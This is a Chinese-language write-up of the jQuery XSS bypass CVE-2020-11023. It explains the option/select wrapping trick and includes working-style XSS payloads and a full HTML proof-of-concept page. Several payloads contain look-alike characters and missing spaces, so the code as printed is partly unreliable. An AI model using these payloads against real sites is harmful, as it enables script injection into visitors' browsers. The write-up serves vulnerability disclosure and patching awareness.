漏洞详情
针对CVE-2020-11022漏洞,jQuery Team进行了修复。修复手段为将$.htmlPrefilter()方法替换为标识函数,因此传递的HTML字符串现在不再经过htmlPrefilter函数处理。但是这个修复方法仍有一些手段可以绕过,CVE-2020-11023就是针对CVE-2020-11022的绕过。
漏洞影响
V 1.2.0 <= jquery < V 3.5.0
漏洞详情
绕过使用的是另一个特性,某些特殊的标签在经过html()方法处理时,会由于HTML的特性或浏览器的bug而使得这些标签被移除。
option就是这些特殊标签之一,我们知道option 元素通过位于 select 元素内部来构造一个选择列表,但如果没有select元素,option会被移除。为了解决这个bug,如果传入参数的第一个元素为option,jQuery会新增<select multiple='multiple’>和</select>。
所以可以构造如下payload:
<option><style></option></select><imgsrc=x οnerrοr=alert(3)></style>
经过处理会变为:
<select multiple='multiple'><option><style></option></select><imgsrc=x οnerrοr=alert(3)></style></select>
根据HTML从前往后解析的顺序,会先解析一个<select>标签,且<select>不允许将大部分HTML标签包裹其中,导致<style>被忽略,而后识别<img>标签从而xss。
漏洞利用
html页面代码如下:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title> <script src="//cdnjs.cloudflare/ajax/libs/jquery/3.4.1/jquery.js"></script> </head> <body> <script> function test(n,jq){ sanitizedHTML = document.getElementById('poc'+n).innerHTML; if(jq){ $('#div').html(sanitizedHTML); }else{ div.innerHTML=sanitizedHTML; } } </script> <h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1> <p>PoCs of XSS bugs fixed in <a href="//blog.jquery/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p> <h2>PoC 1</h2> <button οnclick="test(1)">Assign to innerHTML</button> <button οnclick="test(1,true)">Append via .html()</button> <xmp id="poc1"> <style><style /><img src=x οnerrοr=alert(1)> </xmp> <h2>PoC 2 (Only jQuery 3.x affected)</h2> <button οnclick="test(2)">Assign to innerHTML</button> <button οnclick="test(2,true)">Append via .html()</button> <xmp id="poc2"> <img alt="<x" title="/><img src=x οnerrοr=alert(2)>"> </xmp> <h2>PoC 3</h2> <button οnclick="test(3)">Assign to innerHTML</button> <button οnclick="test(3,true)">Append via .html()</button> <xmp id="poc3"> <option><style></option></select><img src=x οnerrοr=alert(3)></style> </xmp> <div id="div"></div> </body> </html>
参考:
https://mp.weixin.qq/s/QW5v5d7829m0Pz6AA6_XPQ
更多推荐
Jquery XSS漏洞(CVE-2020-11023)
发布评论